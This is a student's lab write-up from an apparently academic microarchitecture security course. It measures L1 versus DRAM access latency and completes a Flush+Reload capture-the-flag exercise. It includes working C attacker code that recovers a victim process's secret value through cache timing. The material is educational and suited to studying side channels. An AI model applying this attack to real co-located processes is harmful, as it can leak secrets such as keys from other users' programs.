Skip to content

Microarchitecure Security

Setting up Environment

  1. I have installed make and gcc using command sudo apt install make gcc*
  2. Downloaded part1 and part2 using wgethttps://class.academany.org/futures/cybersecurity/2026/curriculum/lectures/Part1-Timing.ziphttps://class.academany.org/futures/cybersecurity/2026/curriculum/lectures/Part2-FlushReload.zip

Then I unziped the labs. ( unzip Part1-Timing.zip Part2-FlushReload.zip )

Part 1: Timing the Cache vs. Main Memory

unzip Part1-Timing.zip cd Part1-Timing norbu@Norgyel:~/Part1-Timing$ norbu@Norgyel:~/Part1-Timing$ nano main.c !

Using Code in nano timing.c

#include <stdbool.h>

#include "utility.h"

#define LINE_SIZE 64

int main (int ac, char **av) {

    // Two arrays to store our latency measurements.
    // (Initialized to 0.)
    uint64_t l1_latency[SAMPLES]   = {0};
    uint64_t dram_latency[SAMPLES] = {0};

    // A temporary variable we can use to load addresses.
    uint8_t tmp;

    // Allocate a small buffer (one cache line) to measure against.
    // The "volatile" keyword tells the compiler NOT to keep this in a
    // register -- every access should really go to memory / the cache.
    volatile uint8_t *target_buffer = (uint8_t *)malloc(LINE_SIZE);

    if (NULL == target_buffer) {
        perror("Unable to malloc");
        return EXIT_FAILURE;
    }

    // ======
    // Cache (L1) latency  --  WORKED EXAMPLE
    // ======
    // The data is in the cache, so each timed read should be FAST.
    for (int i = 0; i < SAMPLES; i++) {
        // Step 1: bring the target line into the cache by accessing it.
        tmp = target_buffer[0];
        // Step 2: measure how long it takes to read it again.
        l1_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
    }

    // ======
    // DRAM latency
    // ======
    // The data must NOT be in the cache, so each timed read is SLOW.    
    for (int i = 0; i < SAMPLES; i++) {
        // Step 1: flush the target line out of the cache.
        clflush((void *) target_buffer);
        // Step 2: measure how long it takes to read it.
        dram_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
    }

    // Measure first, print later: now that all measurements are done,
    // print the results.
    print_results_plaintext(l1_latency, dram_latency);

    free((uint8_t *)target_buffer);
    return 0;
}
make
make run

Cache (L1) :Median Latency: 28 cycles

DRAM Median Latency: 217 cycles

How big is the difference?

Difference in cycles: 217-28=189” cycles

Part 2: Capture the Flag with Flush+Reload

Cheched whether i have donloaded file using (find ~ -type f \( -name "*.zip" -o -name "*.tar.gz" -o -name "*.tar" \) ) and found downloaded.

Installed unzip ( sudo apt update ) then sudo apt install unzip -y Extract part2 FlushReload.zip ( unzip Part2-FlushReload.zip) Then checked extracted folder using ls command. Enter the folder using cd Part2-FlushReload norbu@Norgyel:~/Part2-FlushReload$

make run_victim

make run_victim When i go on running the victim code flag number goes on changing.

Cache (lscpu | grep cache)

CPU cache hierarchy (slide 27 of the lecture)

Run attacker

run attacker remain same after running command again and again. I have ran this command to replace the line automatically: sed -i ‘s/CFLAGS=-O0/CFLAGS=-O0 -no-pie/’ Makefile ubuntu@ff-cs-norbu-gyeltshen:~/Part2-FlushReload$ sed -i ‘s/CFLAGS=-O0/CFLAGS=-O0 -no-pie/’ Makefile

Using the code

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

#include "util.h"


#define REPEATS 100000
#define WAIT 100


int main() {
    int flag = -1;

    // buf is shared between the attacker and the victim
    char *buf = allocate_shared_buffer();

    while (true) {

        CYCLES total_time[SEC_RANGE] = {0};
        int total_num[SEC_RANGE] = {0};

        for (int i = 0; i < REPEATS; i++) {
            // Flush
            for (int x = 0; x < SEC_RANGE; x++) {
                clflush((ADDR_PTR) (buf + x * ALIGN));
            }

            // randomized order so the prefetcher can't predict my pattern.
            int guess = rand() % SEC_RANGE;

            // Wait
            for (int j = 0; j < WAIT; j++) {
                int y = 1;
            }

            // Reload
            CYCLES t = measure_one_block_access_time((ADDR_PTR) (buf + guess * ALIGN));

            // Record measurement
            total_time[guess] += t;
            total_num[guess]++;
        }

        // Find flag by finding minimal avg access time
        float min_time = (float) UINT32_MAX;
        for (int x = 0; x < SEC_RANGE; x++) {
            float time = (float) total_time[x] / (float) total_num[x];
            if (time < min_time) {
                flag = x;
                min_time = time;
            }
        }
        // If we are under the threshold we got from the previous challenge, we have a hit, that data resides in cache
        if (min_time < 200) {
            printf("Min time: %f\n, min_time);
            printf("Flag: %d\n", flag);
            break;
        }
    }

    deallocate_shared_buffer(buf);
    return 0;
}

Victim

Attacker